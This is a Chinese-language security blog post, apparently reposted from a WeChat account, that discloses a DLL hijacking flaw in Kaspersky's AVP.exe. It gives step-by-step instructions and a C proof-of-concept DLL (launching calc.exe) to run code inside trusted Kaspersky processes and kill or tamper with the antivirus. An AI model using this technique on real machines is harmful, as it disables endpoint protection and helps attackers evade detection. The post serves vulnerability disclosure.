Kaspersky AVP.exe DLL 劫持

2022/07/22 00:12
阅读数 365

Kaspersky AVP.exe 中的 DLL 注入允许本地管理员在不知道 Kaspersky 密码的情况下杀死或篡改防病毒软件和在高权限中执行命令。


在Kaspersky AVP.exe进程尝试加载缺少的wow64log.dllDLL文件(在System32)。


通过DLL植入恶意文件,本地Windows管理员可以在这个受信任的AVP.exe进程的上下文中实现代码执行并杀死其他进程,从而在无法检测和清除病毒的杀毒软件上实现拒绝服务和以卡巴斯基的身份执行任意命令。


版本

斯基安全软件

AVP.exe版本


Kaspersky Password Manager Service


卡巴斯基安全软件启动的进程为:


Kaspersky Password Manager Service启动的进程为:

ProCess Monitor

AVP.exe 加载不存在的wow64log.dll,路径为C:\windows\System32\


Avpui.exe同样加载不存在的Wow64log.dll,路径为C:\windows\System32\


kpm.exe同样加载不存在的Wow64log.dll,路径为C:\windows\System32\



wow64log.dll与 WoW64 Windows 机制有关,该机制允许在 64 位 Windows 上运行 32 位程序。该子系统会自动尝试加载它,但是它不存在于任何公共 Windows 版本中。

C:\Windows\System (Windows95/98/Me)C:\WINNT\System32(WindowsNT/2000)C:\Windows\System32 (Windows XP,Vista,7,8,10)

如果是64位文件C:\Windows\SysWOW64

作为管理员,我们可以构造恶意 wow64log.dll 文件复制到 System32 。


例如:

#include "pch.h"#include <windows.h>#include <tlhelp32.h>#include <stdio.h>#include <iostream>#include <map>



BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved){ STARTUPINFO si = { sizeof(si) }; PROCESS_INFORMATION pi; CreateProcess(TEXT("C:\\Windows\\System32\\calc.exe"), NULL, NULL, NULL, false, 0, NULL, NULL, &si, &pi);

switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: char szFileName[MAX_PATH + 1]; GetModuleFileNameA(NULL, szFileName, MAX_PATH + 1);

//check if we are injected in an interesting McAfee process if (strstr(szFileName, "avp") != NULL //|| strstr(szFileName, "mcshield") != NULL || strstr(szFileName, "avp.exe") != NULL ) { DisableThreadLibraryCalls(hModule); } else {

}

case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: case DLL_PROCESS_DETACH: //log("detach"); break; } return TRUE;}

手动复制在目标文件目录中,然后启动卡巴斯基,可以看到加载了我们的Wow64log.dll


启动Kaspersky Password Manager Service

加载了我们的恶意DLL并执行了


卡巴斯基具有自我保护机制,即使管理员也无法终止或注入Avp.exe /avpui.exe等等 进程。但似乎卡巴斯基家族的所有进程都认为其他卡巴斯基进程在自我保护方面是“受信任的”。因此,如果我们设法在一个上下文中执行代码,我们就可以“攻击”并杀死其进程和在卡巴斯基中执行任意命令等等。


我们可以编译一个恶意的dll利用卡巴斯基的进程去kill其它卡巴斯基的进程。

也可以在卡巴是安全上下文中执行我们的shellcode 例如:



本文分享自微信公众号 - 黑白天实验室(li0981jing)。
如有侵权,请联系 support@oschina.cn 删除。
本文参与“OSC源创计划”,欢迎正在阅读的你也加入,一起分享。

展开阅读全文
加载中
点击引领话题📣 发布并加入讨论🔥
0 评论
0 收藏
0
分享
返回顶部
顶部